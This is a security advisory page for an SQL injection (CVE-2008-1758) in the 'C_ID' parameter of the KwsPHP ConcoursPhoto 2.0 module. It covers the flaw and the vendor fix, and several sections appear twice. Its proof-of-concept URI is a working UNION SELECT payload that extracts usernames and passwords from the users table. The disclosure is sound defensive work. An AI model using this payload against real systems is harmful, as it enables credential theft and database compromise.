KwsPHP ConcoursPhoto Module 'C_ID' Parameter SQL Injection Vulnerability
BID:28738
Info
KwsPHP ConcoursPhoto Module 'C_ID' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 28738 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-1758 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 11 2008 12:00AM |
| Updated: | May 07 2015 05:29PM |
| Credit: | Stack-Terrorist |
| Vulnerable: |
ConcoursPhoto ConcoursPhoto 2.0 |
| Not Vulnerable: |
ConcoursPhoto ConcoursPhoto 2.1 |
Discussion
KwsPHP ConcoursPhoto Module 'C_ID' Parameter SQL Injection Vulnerability
KwsPHP is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ConcoursPhoto 2.0 is vulnerable; other versions may also be affected.
KwsPHP is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ConcoursPhoto 2.0 is vulnerable; other versions may also be affected.
Exploit / POC
KwsPHP ConcoursPhoto Module 'C_ID' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following proof-of-concept URIs are available:
http://www.example.com/Path/index.php?mod=ConcoursPhoto&VIEW=prix&C_ID=-1/**/union/**/select/**/concat(pseudo,0x3a,pass)/**/from/**/users/**/where/**/id=1/*
Attackers can use a browser to exploit this issue.
The following proof-of-concept URIs are available:
http://www.example.com/Path/index.php?mod=ConcoursPhoto&VIEW=prix&C_ID=-1/**/union/**/select/**/concat(pseudo,0x3a,pass)/**/from/**/users/**/where/**/id=1/*
Solution / Fix
KwsPHP ConcoursPhoto Module 'C_ID' Parameter SQL Injection Vulnerability
Solution:
The vendor released ConcoursPhoto 2.1 to address this issue. Please see the references for more information.
ConcoursPhoto ConcoursPhoto 2.0
Solution:
The vendor released ConcoursPhoto 2.1 to address this issue. Please see the references for more information.
ConcoursPhoto ConcoursPhoto 2.0
-
ConcoursPhoto ConcoursPhoto.v2.1.rar
http://nazfree.free.fr/pwsphp/mods/ConcoursPhotos.v2.1/ConcoursPhoto.v 2.1.rar
References
KwsPHP ConcoursPhoto Module 'C_ID' Parameter SQL Injection Vulnerability
References:
References:
- ConcoursPhoto Homepage (ConcoursPhoto)
- KwsPHP Homepage (KwsPHP)